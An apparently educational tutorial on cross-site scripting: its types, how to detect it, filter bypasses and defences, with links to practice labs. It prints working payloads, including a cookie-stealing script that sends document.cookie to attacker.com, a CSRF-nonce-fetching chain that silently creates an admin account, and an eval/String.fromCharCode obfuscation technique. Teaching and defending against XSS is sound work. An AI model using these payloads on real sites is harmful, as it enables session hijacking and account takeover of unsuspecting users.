What is XSS?
Cross-Site Scripting (XSS) is injecting JavaScript into a web page that other users will view. The injected script runs in the victim’s browser, in the context of the vulnerable site.
Why is this dangerous? Because the browser trusts the site. If the site says “run this JavaScript,” the browser runs it. The victim’s cookies, session tokens, and DOM are all accessible to the injected script.
XSS turns a website into an attack platform. The attacker doesn’t hack the victim directly. They hack the site, and the site attacks the victim.
Types of XSS
There are two main categories, and they work very differently.
Stored XSS (Persistent)
The payload is saved on the server: in a database, a comment field, a profile, a forum post.
Every user who views that page gets hit. The attacker doesn’t need to trick anyone into clicking a link. They plant the payload once, and the site delivers it for them.
Common injection points:
- Comment sections and forums
- User profiles (display name, bio, avatar URL)
- Product reviews
- Contact forms that get displayed in an admin panel
- HTTP headers (User-Agent, Referer) if they’re logged and displayed
Stored XSS is the most dangerous type. One injection can compromise every user who visits the page, including administrators.
Reflected XSS
The payload is embedded in a URL or request. The server reflects the input back into the page without sanitizing it.
Only the person who clicks the malicious link gets hit. The attacker needs to deliver the link somehow: phishing email, chat message, social media post.
Common injection points:
- Search fields (search query reflected in “Results for: …“)
- Error messages (“User [input] not found”)
- URL parameters displayed on the page
- Redirect parameters
DOM-Based XSS
The payload manipulates the page’s DOM (Document Object Model) directly through JavaScript, without the server ever processing it.
The vulnerable JavaScript on the page reads user input (from the URL, a cookie, or window.location) and inserts it into the DOM unsafely.
DOM-based XSS can be either stored or reflected. The key difference is that the server never sees the payload.
Identifying XSS Vulnerabilities
Step 1: Find Input Fields
Every place where user input appears back on the page is a potential XSS vector:
- Search boxes
- Comment forms
- Profile fields
- URL parameters
- HTTP headers
Step 2: Test Special Characters
Inject these characters and check if they appear unencoded in the page source:
< > ' " { } ; If < comes back as < instead of <, the field is likely vulnerable.
Step 3: Try a Basic Payload
The classic test:
<script>alert(1)</script>If an alert box pops up, you’ve confirmed XSS.
Other useful test payloads:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'-alert(1)-'Different payloads work depending on where your input lands in the HTML:
| Context | What you need |
|---|---|
| Between HTML tags | <script> or <img> tags |
| Inside an attribute | Break out with " then add an event handler |
| Inside JavaScript | Break the string with ' or ", add your code |
| Inside a URL | JavaScript pseudo-protocol javascript:alert(1) |
What Can XSS Actually Do?
An alert box proves the vulnerability exists, but it’s just the beginning. Real XSS attacks can:
- Steal cookies and hijack sessions
- Capture keystrokes (passwords, credit cards)
- Redirect users to phishing pages
- Modify the page (fake login forms, fake content)
- Make requests as the victim (change passwords, transfer money)
- Create admin accounts silently
Cookie Theft
The simplest real-world XSS attack: steal the victim’s session cookie and send it to your server.
<script>
new Image().src="http://attacker.com/steal?c="+document.cookie;
</script>When the victim’s browser executes this, it sends their cookies to the attacker’s server. The attacker can then use those cookies to impersonate the victim.
Cookie Protection Flags
Not all cookies are stealable. Two flags prevent this:
| Flag | What it does | Effect on XSS |
|---|---|---|
| HttpOnly | JavaScript can’t access the cookie | Blocks cookie theft via XSS |
| Secure | Cookie only sent over HTTPS | Prevents interception, not XSS |
If the session cookie has HttpOnly set, document.cookie won’t return it. You’ll need a different attack angle.
HttpOnly doesn’t stop XSS. It just prevents cookie theft. The injected script can still do everything else: modify the page, make requests, capture keystrokes.
Privilege Escalation via XSS
When cookie theft is blocked (HttpOnly), you can use XSS to perform actions as the victim instead of stealing their session.
The Attack Concept
Instead of stealing the admin’s cookie, inject JavaScript that:
- Fetches a CSRF token from the admin panel
- Submits a request to create a new admin account
- All of this happens silently when the admin views the page
The admin sees nothing. But a new admin account now exists.
Building the Payload
Step 1 - Fetch a nonce (CSRF token) from the admin page:
var req = new XMLHttpRequest();
req.open("GET", "/admin/user-new.php", false);
req.send();
var nonce = /ser" value="([^"]*)"/.exec(req.responseText)[1];Step 2 - Use the nonce to create a new admin user:
var params = "action=createuser&nonce="+nonce
+"&user_login=hacker&email=hacker@evil.com"
+"&pass1=hackerpass&role=administrator";
var req2 = new XMLHttpRequest();
req2.open("POST", "/admin/user-new.php", true);
req2.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
req2.send(params);Step 3 - Minify, encode, and deliver:
- Minify the JS into a single line
- Encode using
charCodeAt()to avoid special character issues - Wrap in
eval(String.fromCharCode(...)) - Inject as the payload via a stored XSS vector (User-Agent, comment, etc.)
Why Encoding Matters
Raw JavaScript in an HTTP header or form field can break due to special characters (", <, >). Encoding the payload as character codes avoids this:
// Encode
function encode(s) {
return s.split('').map(c => c.charCodeAt(0)).join(',');
}
// Decode and execute on victim's browser
eval(String.fromCharCode(104,101,108,108,111))
// executes: "hello"The server stores the encoded version. When the admin views the page, String.fromCharCode rebuilds the original script and eval runs it.
Bypassing Filters
Many applications try to block XSS by filtering input. Common bypasses:
| Filter | Bypass |
|---|---|
Blocks <script> | Use <img onerror>, <svg onload>, <body onload> |
Blocks alert | Use confirm(), prompt(), or eval() |
Strips <script> once | <scr<script>ipt> (nested) |
| Blocks quotes | Use backticks or HTML entities |
Encodes <> | If inside JS context, you don’t need them |
| WAF blocking keywords | Case variation <ScRiPt>, unicode encoding |
Filters are not sanitization. Blacklist-based filters can almost always be bypassed. Proper output encoding (HTML entities, JS escaping) is the real fix.
XSS in the Real World
XSS isn’t just for popping alert boxes. Real-world impact includes:
- Session hijacking - steal cookies, take over accounts
- Credential harvesting - inject a fake login form, capture passwords
- Cryptojacking - inject a miner, use visitor’s CPU
- Worm propagation - XSS that spreads itself (Samy worm, 2005)
- Admin takeover - create backdoor accounts via stored XSS
- Phishing - modify page content to display attacker-controlled messages
Practice
For dedicated XSS challenges with flags:
- Intro to XSS - Reflected, stored, DOM, and blind XSS with hands-on labs
- Advanced XSS - Filter bypasses and advanced payloads
- Sea - XSS in a contact form leading to RCE
- IClean - XSS and SSTI exploitation chain
- Cereal - XSS leading to web shell upload
For structured learning, PortSwigger’s XSS labs cover every XSS type with interactive challenges.